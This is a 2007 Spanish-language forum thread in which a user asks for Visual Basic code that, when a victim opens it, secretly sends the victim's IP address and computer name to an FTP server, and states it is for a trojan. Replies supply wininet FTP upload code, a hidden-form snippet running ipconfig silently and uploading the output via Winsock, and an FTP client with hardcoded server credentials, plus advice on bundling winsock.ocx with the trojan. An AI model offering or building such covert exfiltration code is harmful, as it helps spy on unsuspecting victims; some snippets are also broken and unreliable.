AYUDA URGENTE, MANDAR IP A UN FTP

Iniciado por cheatmaster, 17 Junio 2007, 23:59 PM

0 Miembros y 1 Visitante están viendo este tema.

cheatmaster

Buenas pues mira me corre prisa por que asin puedo terminar un proyecto, me gustaria que mandara la ip a un ftp, supongamos que el ftp es usuarios.lycos, usuario " X " y password " 124"

Vale que tendria que hacer:

Que la vicitma al abrirlo la ip sea enviada a ese ftp con el nombre del pc

Supongamos
       
         IP                     PC NAME
92,213,287, --------- Rogelio

Entendeis ??

Se que se puede ya que ranefi,Hendix. me lo dijeron, pero no el codigo xD se tenia que ir a hacer " CACA " y el otro de bebidas.. ¬¬ xD va es urgente plz

byebye

mucha prisa pero leer poco. cuando se va a quitar esta mania de hacer cosas sin informarse primero?

cheatmaster

Bueno tio pos dime como es, hendix me lo iva a decir es mas el me esta ayudando con este proyecto, lo malo que se tubo que ir, y no sa conectado, y me gustaria terminarlo ya antes de mañana

        PORFAVOR LO PIDO :(

Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long

Private Sub Form_Load()
'####################
botarate
'####################
    hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    DoEvents
    hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    DoEvents
    FtpSetCurrentDirectory hConnection, "\"
    DoEvents
    FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
    DoEvents
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
'####################
End Sub

Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt  llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub

'SALU2
jajajaja xD ya no me puedo cambiar el nick no me deja el deste como admin del perfil xD

cheatmaster

#4
Cita de: Visual Basic en 18 Junio 2007, 03:58 AM
Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long

Private Sub Form_Load()
'####################
botarate
'####################
    hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    DoEvents
    hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    DoEvents
    FtpSetCurrentDirectory hConnection, "\"
    DoEvents
    FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
    DoEvents
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
'####################
End Sub

Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt  llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub

'SALU2

para guardar la ip pongo nada mas que

shell("cmd.exe /c ipconfig > c:/ip.txt"),vbhide

No ?

cheatmaster


LeandroA

si pusiste todos los datos bien,puede que el firewall no te deje abrir la conexion, prova desavilitarlo.

te dejo otro ejemplo con una cuenta


Dim hOpen As Long, hConnection As Long, bRet As Long, Refrescar As Boolean
Option Explicit
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _
(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
      ByVal lpszRemoteFile As String, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
     
     
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
      ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
     

Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _
    (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
' Initializes an application's use of the Win32 Internet functions
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

' User agent constant.
Private Const scUserAgent = "vb wininet"

' Use registry access settings.
Private Const INTERNET_INVALID_PORT_NUMBER = 0
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Private Const FTP_TRANSFER_TYPE_ASCII = &H1
Private Const FTP_TRANSFER_TYPE_BINARY = &H2
Private Const INTERNET_FLAG_PASSIVE = &H8000000

' Opens a HTTP session for a given site.
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _
ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
               
' Number of the TCP/IP port on the server to connect to.
Private Const INTERNET_OPTION_USERNAME = 28
Private Const INTERNET_OPTION_PASSWORD = 29
Private Const INTERNET_OPTION_PROXY_USERNAME = 43
Private Const INTERNET_FLAG_RELOAD = &H80000000
' Type of service to access.
Private Const INTERNET_SERVICE_FTP = 1

' Closes a single Internet handle or a subtree of Internet handles.
Private Declare Function InternetCloseHandle Lib "wininet.dll" _
(ByVal hInet As Long) As Integer


Sub Command1_Click()
'Guardamos en App.Path & "\" & "Prueva.txt"
Close #1
Open App.Path & "\" & "Prueva.txt" For Output As #1
Print #1, Text1.Text
Close #1
Info "Guardando en el servidor..."
'App.Path & "\" & "Prueva.txt" es el archivo selecionado y Prueva.txt es el nombre con que lo guardamos
bRet = FtpPutFile(hConnection, App.Path & "\" & "Prueva.txt", "Prueva.txt", FTP_TRANSFER_TYPE_ASCII, 0)
If bRet <> 0 Then Info "Proceso terminado corectamente" Else Info "Error": Exit Sub
End Sub
Sub Info(Mensage As String)
Label1.Caption = Mensage
Label1.Refresh
End Sub
Sub Command2_Click()
Dim file_data As String
Info "Descargando..."
bRet = FtpGetFile(hConnection, "Prueva.txt", App.Path & "\" & "Prueva.txt", False, _
        INTERNET_FLAG_RELOAD, FTP_TRANSFER_TYPE_ASCII, 0)
If bRet <> 0 Then Info "Archivo descargado correctamente" Else Info "Error": Exit Sub
Text1.Text = ""
Close #1
Open App.Path & "\" & "Prueva.txt" For Input As #1
While Not EOF(1)
Line Input #1, file_data
Text1.Text = Text1.Text & file_data & vbCrLf
Wend
Close #1
End Sub

Private Sub Command3_Click()
If Command3.Caption = "Conectar" Then
Conectar
Else
If hConnection <> 0 Then InternetCloseHandle (hConnection)
Command3.Caption = "Conectar"
Command1.Enabled = False
Command2.Enabled = False
Info "Coneción cerrada"
End If
End Sub

Sub Form_Load()
Text1.Text = ""
Command1.Caption = "Subir al Servidor"
Command2.Caption = "Descargar del Servidor"
Command3.Caption = "Conectar"
Command1.Enabled = False
Command2.Enabled = False
hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
If hOpen <> 0 Then Info "Iniciado correctamente" Else Info "Error"
Me.Caption = "http://celularchat.unlugar.com/includes/Prueva.txt"
End Sub

Sub Form_Unload(Cancel As Integer)
If hConnection <> 0 Then InternetCloseHandle (hConnection)
If hOpen <> 0 Then InternetCloseHandle (hOpen)
End Sub

Sub Conectar()
Dim Servevidor As String, Usuario As String, Contraseña As String, Carpeta As String
'----------------------------------------
Servevidor = "celularchat.unlugar.com"
Usuario = "ftp-celularchat.unlugar.com"
Contraseña = "ramonramon"
Carpeta = "/includes"
'----------------------------------------
Info "Conectando..."
'hacemos la conexion
hConnection = InternetConnect(hOpen, Servevidor, INTERNET_INVALID_PORT_NUMBER, _
Usuario, Contraseña, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)
If hConnection <> 0 Then Info "Buscando Directorio" Else Info "Error": Exit Sub
'selecionamos "/includes" que es la carpeta en el servidor donde guardo el archivo
bRet = FtpSetCurrentDirectory(hConnection, Carpeta)
If bRet <> 0 Then Info "conexión exitosa!!!" Else Info "Error": Exit Sub
Command1.Enabled = True
Command2.Enabled = True
Command3.Caption = "Desconectar"
End Sub
[code]

tres botones, un textbox multiline, y un label

Saludos
[/code]

WHK

Aver que les parece mi pequeño codigo para recuperar solamente ese texto:

CitarPublic Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > c:/ip.txt"),vbhide
winsock1.connect "ip_ftp", 21
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim BufferIN As String
Winsock1.GetData BufferIN

if BufferIN  " bienvenida etc etc... Nombre usuario:" Then winsock1.senddata "Usuario"
if BufferIN  "Password" Then winsock1.senddata "password"
if BufferIN  "corrent directory is etc etc...." Then
winsock1.senddata "put C:\ip.txt"
sleep (10000)
end
end if
End Sub

cheatmaster

M.. con winsok tambien funciona ??, es que yo lo quiero usar para un "troyano" y.. bueno segun me dijeron el winsok si no tienes vb no te anda,

WHK, el sleep 100000 para que sirve xD ! ?

WHK

El sleep (10000) es para esperar 10 milisegundos, o sea 10 segundos ya que ese es el tiempo maximo que deve durar el envío del texto antes de cerrar las conexiones.

Para que funcione winsock Debes adjuntar winsock.ocx a tu troyano y asi solucionas tu problema.